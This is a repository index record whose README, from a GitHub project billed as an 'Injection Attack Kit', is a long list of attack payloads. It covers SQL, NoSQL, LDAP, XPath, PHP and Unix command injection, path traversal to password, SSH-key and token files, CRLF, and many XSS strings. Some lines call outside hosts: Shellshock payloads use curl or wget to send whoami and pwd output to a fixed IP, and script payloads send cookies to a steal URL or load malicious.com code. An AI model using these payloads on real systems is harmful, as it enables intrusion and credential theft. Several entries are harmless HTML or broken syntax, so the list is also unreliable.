{"id":18107163,"url":"https://github.com/byt3n33dl3/offensivequeries","last_synced_at":"2026-02-19T19:31:13.687Z","repository":{"id":257700661,"uuid":"805812628","full_name":"byt3n33dl3/OffensiveQueries","owner":"byt3n33dl3","description":"Blind Sniper Injection Attack Kit.","archived":false,"fork":false,"pushed_at":"2024-05-26T12:13:37.000Z","size":19,"stargazers_count":11,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-02-10T17:12:47.249Z","etag":null,"topics":["blindsqli","injection","nosql","offensive-security","parameters","sql-injection"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/byt3n33dl3.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-05-25T14:29:25.000Z","updated_at":"2025-05-18T17:17:43.000Z","dependencies_parsed_at":"2024-09-18T06:43:45.728Z","dependency_job_id":null,"html_url":"https://github.com/byt3n33dl3/OffensiveQueries","commit_stats":null,"previous_names":["byt3n33dl3/offensivequeries"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/byt3n33dl3/OffensiveQueries","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FOffensiveQueries","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FOffensiveQueries/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FOffensiveQueries/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FOffensiveQueries/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/byt3n33dl3","download_url":"https://codeload.github.com/byt3n33dl3/OffensiveQueries/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FOffensiveQueries/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29628771,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-19T18:02:07.722Z","status":"ssl_error","status_checked_at":"2026-02-19T18:01:46.144Z","response_time":117,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blindsqli","injection","nosql","offensive-security","parameters","sql-injection"],"created_at":"2024-10-31T23:09:35.553Z","updated_at":"2026-02-19T19:31:13.583Z","avatar_url":"https://github.com/byt3n33dl3.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"Injections Attack example, by: [pxcs](https://github.com/pxcs/)\n\n\u003ca href=\"https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/\"\u003e\u003cimg src=\"https://png.pngtree.com/png-vector/20231205/ourmid/pngtree-artificial-intelligence-bionic-human-robot-png-image_10814416.png\" align=\"right\" width=\"100\" alt=\"robot\"\u003e\u003c/a\u003e\n\n\u003e [\u003cimg src=\"https://www.pngmart.com/files/23/Needle-PNG-Isolated-File.png\" width=\"30\"\u003e]() A common attack vector that uses malicious query code for backend database manipulation, to access information that was not intended to be displayed. This information may include any number of items, including sensitive company data.\n\u003chr\u003e\n\n### List of query injection: \n\n| 💉 HTML Injections |\n| ---- |\n| ```\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=http://myImage.png\u003e``` |\n| ```\u003cMETA HTTP-EQUIV=\"refresh\" CONTENT=\"1;url=http://www.test.com\"\u003e``` |\n| ```\u003ca href=\"https://www.google.com\"\u003eHTML\u003c/a\u003e``` |\n| ```\u003cimg src=\"index.jpg\" alt=\"Girl in a jacket\" width=\"500\" height=\"600\"\u003e``` |\n| ```\u003cinput type=\"text\" id=\"name\" name=\"name\"\u003e``` |\n| ```\u003cnoscript\u003eSorry, your browser does not support Html\u003c/noscript\u003e``` |\n| ```\u003cprogress id=\"html\" value=\"32\" max=\"100\"\u003e 32% \u003c/progress\u003e``` |\n| ```\u003ccanvas id=\"myCanvas\"\u003edraw htmli\u003c/canvas\u003e``` |\n| ```\u003cdatalist id=\"html\"\u003e\u003coption value=\"html\"\u003e\u003c/datalist\u003e``` |\n| ```\u003cembed type=\"text/html\" src=\"index.html\" width=\"500\" height=\"200\"\u003e ``` |\n| ```\u003chead\u003e\u003ctitle\u003ehtml\u003c/title\u003e\u003c/head\u003e``` |\n| ```\u003cmeter id=\"html\" value=\"2\" min=\"0\" max=\"10\"\u003e2 out of 10\u003c/meter\u003e``` |\n| ```%253Ci%253Ehtml%253C%252Fi%253E``` |\n| ```\u003cvideo width=\"320\" height=\"240\" controls\u003e\u003c/video\u003e``` |\n| ```\u003ch1\u003ehtml\u003c/h1\u003e``` |\n\n| 💉 HTML Injection Read File |\n| ---- |\n| ```/home/$USER/.bash_history``` |\n| ```%2Fetc%2Fpasswd%2500``` |\n| ```....//....//....//....//....//....//....//etc/passwd%00``` |\n| ```%2Fetc%2Fknockd.conf``` |\n| ```..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhosts``` |\n| ```..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fmotd``` |\n| ```..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fmysql%2Fmy.cnf``` |\n| ```..%2F..%2F..%2F..%2F..%2F..%2Fproc%2F%5B0-9%5D*%2Ffd%2F%5B0-9%5D*``` |\n| ```..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron``` |\n| ```..%2F..%2F..%2F..%2F..%2F..%2Fhome%2F%24USER%2F.ssh%2Fid_rsa``` |\n| ```/run/secrets/kubernetes.io/serviceaccount/token``` |\n| ``..%2F..%2F..%2F..%2F..%2F..%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken`` |\n| ```/var/lib/mlocate/mlocate.db``` |\n| ```..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fmlocate.db``` |\n| ```../../../../../../proc/net/arp``` |\n\u003cbr\u003e\n\n| 💉 SQL Injections |\n| ---- |\n| ```0' or '0' = '0``` |\n| ```1' or '1' = '1``` |\n| ```' or ''-'``` |\n| ```or true--``` |\n| ```')) or (('x'))=(('x``` |\n| ```\")) or ((\"x\"))=((\"x``` |\n| ```' OORR 1\u003c2 #``` |\n| ```admin' or '1'='1'--``` |\n| ```admin' or '1'='1'#``` |\n| ```admin') or ('1'='1``` |\n| ```' or 'one'='one``` |\n| ```' or uname like '%``` |\n| ```\") or (\"1\"=\"1\"--``` |\n| ```' or 1=1 LIMIT 1;#``` |\n| ```') or ('a'='a and hi\") or (\"a\"=\"a``` |\n| ```123 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055``` |\n| ```ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))``` |\n| ```ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6``` |\n| ```ORDER BY 1,SLEEP(5),3,4#``` |\n| ```UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14``` |\n| ```UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--``` |\n| ```AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#``` |\n| ```AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))``` |\n| ```UNION ALL SELECT 'INJ''ECT''XXX',2,3,4``` |\n| ```%2b(select*from(select(sleep(2)))a)%2b``` |\n| ```admin') or '1'='1'/*``` |\n| ```admin') or ('1'='1'--``` |\n| ```benchmark(50000000,MD5(1))--``` |\n| ```or benchmark(50000000,MD5(1))--``` |\n| ```\")) or sleep(5)=\"``` |\n| ```http://domain.com/index.php?id=1' order by 1))--``` |\n| ```http://domain.com/index.php?id=1' order by 1));%00``` |\n| ```http://domain.com/index.php?id=1' order by 1%60``` |\n| ```http://domain.com/index.php?id=1' order by 1\") ;%00``` |\n| ```%23foo*%2F*bar%0D%0A``` |\n| ```http://domain.com/index.php?id=1'/**/order/**/by/**/1--/**/-``` |\n| ```database%23%0A(%23%0A)``` |\n\n| 💉 NoSQL Injections |\n| ---- |\n| ```username[$ne]=toto\u0026password[$ne]=toto``` |\n| ```login[$gt]=admin\u0026login[$lt]=test\u0026pass[$ne]=1``` |\n| ```login[$nin][]=admin\u0026login[$nin][]=test\u0026pass[$ne]=toto``` |\n| ```{ \"username\": { \"$ne\": null }, \"password\": { \"$ne\": null } }``` |\n| ```{ \"username\": \"admin' OR '1'='1\", \"password\": \"password\" }``` |\n| ```EVAL \"return redis.call('info')\" 0``` |\n| ```FOR user IN users FILTER user.username == 'admin' 1 == 1 RETURN user``` |\n| ```{ \"username\": \"admin\", \"password\": { \"$where\": \"this.password.length \u003e 0\" } }``` |\n| ```username[$ne]=toto\u0026password[$regex]=md.{1}``` |\n| ```\";return 'a'=='a' \u0026\u0026 ''=='``` |\n\u003cbr\u003e\n\n| 💉 PHP Injections |\n| ---- |\n| ```\u0026\u0026id``` |\n| ```;system('id')``` |\n| ```system('cat /etc/passwd');``` |\n| ```shell exec(\"id\")``` |\n| ```exec(\"ping -c 4 192.168.1.6\")``` |\n| ```PASSTHRU(\"id\")``` |\n| ```phpinfo();system('cat /etc/passwd')``` |\n| ```print_r($_POST);system('id')``` |\n| ```pcntl_exec(\"/usr/bin/uptime\")``` |\n| ```file get contents (\"/etc/passwd\")``` |\n| ```$file = fopen (\"testl.txt\", \"w\"); echo fwrite($file, \"Hello World. Testing!\"); fclose($file)``` |\n| ```$file = fopen (\"phpinfo-1.php\", \"W\"); echo fwrite ($file, \"\u003c?php phpinfo(); ?\u003e\"); fclose ($file)``` |\n| ```$file = fopen(\".php\", \"w\"); echo ($file, \"php -r '$sock='' ('' ,) ;' /bin/sh -i \u003c83 \u003e83 2-83' ;\"); fclose($)``` |\n| ```passthru('id')``` |\n| ```echo%20file_exists(\"index.html\");``` |\n| ```ECHO%20FILE_EXISTS(\"/etc/passwd\");``` |\n| ```echo%20copy(\"/etc/passwd\",\"/tmp/passwd\");``` |\n| ```echo%20file_get_contents(\"/etc/passwd\");``` |\n| ```echo%20file_put_contents(\"index.html\",\"Hello%20World.%20Testing!\");``` |\n| ```ECHO%20FILE_PUT_CONTENTS(\"index.html\",\"HELLO%20WORLD.%20TESTING!\");``` |\n\u003cbr\u003e\n\n| 💉 LDAP Injections |\n| ---- |\n| ```(uid=*)(userPassword=*)``` |\n| ```(uid=admin)((uid=*)(userPassword=*))``` |\n| ```(uid=*admin*)``` |\n| ```(\u0026(uid=admin)(!(userPassword=*)))``` |\n| ```(\u0026(uid=admin)(userPassword=pa*))``` |\n| ```((uid=admin)(uid=*))``` |\n| ```*)(uid=*))((uid=*``` |\n| ```(\u0026(uid=admin)((userPassword=wrongpassword)(userPassword=*)))``` |\n| ```(uid=*)(userPassword=*)(cn=admin)``` |\n| ```(\u0026(uid=admin)(objectClass=*))((uid=*)(objectClass=inetOrgPerson))``` |\n| ```String filter = \"(\u0026(uid=\" + username + \")(userPassword=\" + password + \"))\";``` |\n| ```(\u0026(uid=admin)(\u0026)(userPassword=anyPassword))``` |\n| ```(\u0026(uid=admin)(userPassword=*)(uid=*)``` |\n| ```(\u0026(uid=admin)(userPasswordDomain=*)(uid=*)``` |\n| ```admin)(\u0026``` |\n| ```(*)(\u0026``` |\n| ```*)(\u0026``` |\n\u003cbr\u003e\n\n| 💉 XPath Injections |\n| ---- |\n| ```' or true() or '``` |\n| ```' or '1'='1``` |\n| ```' or name()='username' or '``` |\n| ```' or 'a'='a``` |\n| ```' or 1=1 or '1'='1``` |\n| ```' or count(/*)=1 or '``` |\n| ```' or //user/*='admin' or '``` |\n| ```' or 'x'='x') or ('y'='y``` |\n| ```' or 1=1 or '1'='1'/* ``` |\n| ```String xpathQuery = \"//user[username/text()='\" + username + \"' and password/text()='\" + password + \"']\";``` |\n| ```//user[username/text()='' or '1'='1' and password/text()='password']``` |\n| ```//user[username/text()='username' and password/text()='' or '1'='1']``` |\n\u003cbr\u003e\n\n| 💉 Command Injection Unix |\n| ---- |\n| ```\u0026lt;!--#exec%20cmd=\u0026quot;/bin/cat%20/etc/passwd\u0026quot;--\u0026gt;``` |\n| ```\u0026lt;!--#exec%20cmd=\u0026quot;/usr/bin/id;--\u0026gt;``` |\n| ```\u0026lt;!--#exec%20cmd=\u0026quot;/usr/bin/id;--\u0026gt;``` |\n| ```() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`\"``` |\n| ```() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\\`pwd\\`\"``` |\n| ```() { :;}; /bin/bash -c \"sleep 1 \u0026\u0026 echo vulnerable 1\"``` |\n| ```() { :;}; /bin/bash -c \"sleep 6 \u0026\u0026 curl http://135.23.158.130/.testing/shellshock.txt?sleep=9\u0026?vuln=9\"``` |\n| ```() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=4\"``` |\n| ```{{ get_user_file(\"/etc/passwd\") }}``` |\n| ```() { :;}; /bin/bash -c \"sleep 6 \u0026\u0026 echo vulnerable 6\"``` |\n| ```ca$@t /etc/passwd``` |\n| ```cat $(xxd -r -ps \u003c(echo 2f6574632f706173737764))``` |\n\n| 💉 Command Injection Windows |\n| ---- |\n| ```C:\\Users\\{username}\\AppData\\Local\\FileZilla``` |\n| ```C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data``` |\n| ```C:\\Users\\{username}\\AppData\\Roaming\\FileZilla\\logs``` |\n| ```C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials``` |\n| ```C:\\Windows\\System32\\drivers\\etc\\hosts``` |\n| ```C:\\Windows\\System32\\LogFiles\\W3SVC1``` |\n\u003cbr\u003e\n\n| 💉 XPath Injections |\n| ---- |\n| ```' or name()='username' or '``` |\n| ```' or 1=1 or '1'='1``` |\n| ```' or 1=1 or '1'='1'/*``` |\n| ```//user[username/text()='username' and password/text()='' or '1'='1']``` |\n\u003cbr\u003e\n\n| 💉 Java Script Injections |\n| ---- |\n| ```\u003cscript\u003ealert('Injected!');\u003c/script\u003e``` |\n| ```\u003cscript\u003edocument.location='http.com/steal?cookie=' + .cookie;\u003c/script\u003e``` |\n| ```\u003cscript\u003ewindow.location='http://malicious.com';\u003c/script\u003e``` |\n| ```\u003cscript\u003edocument.body.innerHTML = '\u003ch1\u003eHacked!\u003c/h1\u003e';\u003c/script\u003e``` |\n| ```\u003cscript\u003ewhile(true){}\u003c/script\u003e``` |\n| ```\u003cscript src=\"http://malicious.com/malicious.js\"\u003e\u003c/script\u003e``` |\n| ```\u003cdiv\u003eWelcome, \u003cspan id=\"username\"\u003e\u003c/span\u003e\u003c/div\u003e``` |\n| ```document.getElementById('user').innerHTML = getQueryParameter('user');``` |\n| ```http://example.com?username=\u003cscript\u003ealert('Injected!');\u003c/script\u003e``` |\n\n| 💉 JSON Injections |\n| ---- |\n| ```{ \"username\": \"admin\", \"password\": { \"$ne\": null } }``` |\n| ```{ \"username\": \"user\", \"password\": \"password\", \"admin\": true }``` |\n| ```{ \"username\": \"user\", \"password\": \"password\", \"password\": \"malicious\" }``` |\n| ```{ \"username\": \"user\", \"bio\": \"\u003cscript\u003ealert('Injected!');\u003c/script\u003e\" }``` |\n| ```{ \"username\": \"user\", \"password\": { \"$gt\": \"\" } }``` |\n| ```{ \"user\": { \"name\": \"admin\", \"role\": \"user\" }, \"user\": { \"role\": \"admin\" } }``` |\n| ```{ \"username\": \"user\", \"callback\": \"require('child_process').exec('ls')\" }``` |\n| ```{ \"username\": \"user\", \"password\": \"' OR '1'='1\" }``` |\n| ```{\"username\": \"admin\",\"password\": \"' OR '1'='1\"}``` |\n\u003cbr\u003e\n\n| 💉 XML Injections |\n| ---- |\n| ```\u003cuser\u003e\u003cname\u003eadmin\u003c/name\u003e\u003cpassword\u003e' or '1'='1\u003c/password\u003e\u003c/user\u003e``` |\n| ```\u003cuser\u003e\u003cname\u003eadmin\u003c/name\u003e\u003cpassword\u003e\u003cadmin\u003etrue\u003c/admin\u003e\u003c/password\u003e\u003c/user\u003e``` |\n| ```\u003cuser\u003e\u003cname\u003e\u003c![CDATA[admin]]\u003e\u003c/name\u003e\u003cpassword\u003e\u003c![CDATA[' or '1'='1]]\u003e\u003c/password\u003e\u003c/user\u003e``` |\n| ```\u003cuser\u003e\u003cname\u003eadmin' or '1'='1\u003c/name\u003e\u003cpassword\u003epassword\u003c/password\u003e\u003c/user\u003e``` |\n| ```\u003cuser role='admin'\u003e\u003cname\u003euser\u003c/name\u003e\u003cpassword\u003epassword\u003c/password\u003e\u003c/user\u003e``` |\n\u003cbr\u003e\n\n| 💉 Directory Traversal Injections |\n| ---- |\n| ```/admin/(S(X))/main.aspx``` |\n| ```/admin/Foobar/(S(X))/../(S(X))/main.aspx``` |\n| ```/(S(X))/admin/(S(X))/main.aspx``` |\n| ```/var/log/nginx/error.log``` |\n| ```../../../../../../../../../etc/passwd``` |\n| ```/../../../../../../../../../../../etc/passwd%00.jpg``` |\n| ```/proc/self/cwd/index.php``` |\n| ```/ = %c0%af, %e0%80%af, %c0%2f``` |\n| ```%uff0e%uff0e%u2216``` |\n\u003cbr\u003e\n\n| 💉 CRLF Injections |\n| ---- |\n| ```/%%0a0aSet-Cookie:crlf=injection``` |\n| ```/%0aSet-Cookie:crlf=injection``` |\n| ```/%0d%0aSet-Cookie:crlf=injection``` |\n| ```/%0dSet-Cookie:crlf=injection``` |\n| ```/%23%0aSet-Cookie:crlf=injection``` |\n| ```/%23%0d%0aSet-Cookie:crlf=injection``` |\n| ```/%23%0dSet-Cookie:crlf=injection``` |\n| ```/%25%30%61Set-Cookie:crlf=injection``` |\n| ```/%25%30aSet-Cookie:crlf=injection``` |\n| ```/%250aSet-Cookie:crlf=injection``` |\n| ```/%25250aSet-Cookie:crlf=injection``` |\n| ```/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection``` |\n| ```/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection``` |\n| ```/%2F..%0d%0aSet-Cookie:crlf=injection``` |\n| ```/%3f%0d%0aSet-Cookie:crlf=injection``` |\n| ```/%u000aSet-Cookie:crlf=injection``` |\n\u003cbr\u003e\n\n| 💉 XSS Attacks |\n| ---- |\n| ```\"-prompt(8)-\"``` |\n| ```'-eval(\"window['pro'%2B'mpt'](8)\")-'``` |\n| ```\"onclick=prompt(8)\u003e\"@x.y``` |\n| ```\"onclick=prompt(8)\u003e\u003csvg/onload=prompt(8)\u003e\"@x.y``` |\n| ```\u003cimage/src/onerror=prompt(8)\u003e``` |\n| ```\u003cimg/src/onerror=prompt(8)\u003e``` |\n| ```\u003cimage src/onerror=prompt(8)\u003e``` |\n| ```\u003c/scrip\u003c/script\u003et\u003e\u003cimg src =q onerror=prompt(8)\u003e``` |\n| ```\u003cscript\\x20type=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e``` |\n| ```\u003cscript\\x3Etype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e``` |\n| ```\u003cscript\\x0Dtype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e``` |\n| ```\u003cscript\\x09type=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e``` |\n| ```\u003cscript\\x0Ctype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e``` |\n| ```\u003cscript\\x2Ftype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e``` |\n| ```\u003cscript\\x0Atype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e``` |\n| ```'`\"\u003e\u003c\\x3Cscript\u003ejavascript:alert(1)\u003c/script\u003e``` |\n| ```\u003cimg src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/img\u003e``` |\n| ```\u003cbody src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/body\u003e``` |\n| ```\u003cimage src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/image\u003e``` |\n| ```\u003cobject src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/object\u003e``` |\n| ```\u003csvg onResize svg onResize=\"javascript:javascript:alert(1)\"\u003e\u003c/svg onResize\u003e``` |\n| ```\u003ctitle onPropertyChange title onPropertyChange=\"javascript:javascript:alert(1)\"\u003e\u003c/title onPropertyChang``` |\n| ```\u003ciframe onLoad iframe onLoad=\"javascript:javascript:alert(1)\"\u003e\u003c/iframe onLoad\u003e``` |\n| ```\u003cbody onMouseEnter body onMouseEnter=\"javascript:javascript:alert(1)\"\u003e\u003c/body onMouseEnter\u003e``` |\n| ```\u003cbody onFocus body onFocus=\"javascript:javascript:alert(1)\"\u003e\u003c/body onFocus\u003e``` |\n| ```\u003cframeset onScroll frameset onScroll=\"javascript:javascript:alert(1)\"\u003e\u003c/frameset onScroll\u003e``` |\n| ```\u003cscript onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1)\"\u003e\u003c/script onReadyS``` |\n| ```\u003chtml onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseUp\u003e``` |\n| ```\u003csvg onLoad svg onLoad=\"javascript:javascript:alert(1)\"\u003e\u003c/svg onLoad\u003e``` |\n| ```\u003chtml onMouseOver html onMouseOver=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseOver\u003e``` |\n| ```\u003chtml onMouseOut html onMouseOut=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseOut\u003e``` |\n| ```\u003cbody onResize body onResize=\"javascript:javascript:alert(1)\"\u003e\u003c/body onResize\u003e``` |\n| ```\u003capplet onreadystatechange applet onreadystatechange=\"javascript:javascript:alert(1)\"\u003e\u003c/applet onreadys``` |\n| ```\u003cbody onpagehide body onpagehide=\"javascript:javascript:alert(1)\"\u003e\u003c/body onpagehide\u003e``` |\n| ```\u003ciframe onload iframe onload=\"javascript:javascript:alert(1)\"\u003e\u003c/iframe onload\u003e``` |\n| ```\u003c!--\\x3E\u003cimg src=xxx:x onerror=javascript:alert(1)\u003e --\u003e``` |\n| ```\u003ca href=\"javas\\x03cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e``` |\n| ```\u003ca href=\"javas\\x04cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e``` |\n| ```\u003cstyle\u003e\u003c/style\\x0A\u003cimg src=\"about:blank\" onerror=javascript:alert(1)//\u003e\u003c/style\u003e``` |\n| ```\u003cscript\u003eif(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}\u003c/script\u003e``` |\n| ```\u003cscript src=\"data:\\xD4\\x8F,javascript:alert(1)\"\u003e\u003c/script\u003e``` |\n| ```\u003ciframe src=http://xss.rocks/scriptlet.html \u003c``` |\n| ```\u003cOBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://xss.rocks/scriptlet.html\"\u003e\u003c/OBJECT\u003e``` |\n| ```\u003cIMG SRC=\"javascript:alert('XSS');\"\u003e``` |\n\u003chr\u003e\n\nI know there is a lot more types, languages and attack method out there, here are just a simple list and example, I will update it soon. Big thanks to the [internet](https://www.youtube.com/watch?v=wcaiKgQU6VE\u0026pp=ygUQcXVlcnkgaW5qZWN0aW9ucw%3D%3D) for the references. ***Note***, this module and list was just for an educational purposes only. ✊🏻\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbyt3n33dl3%2Foffensivequeries","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbyt3n33dl3%2Foffensivequeries","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbyt3n33dl3%2Foffensivequeries/lists"}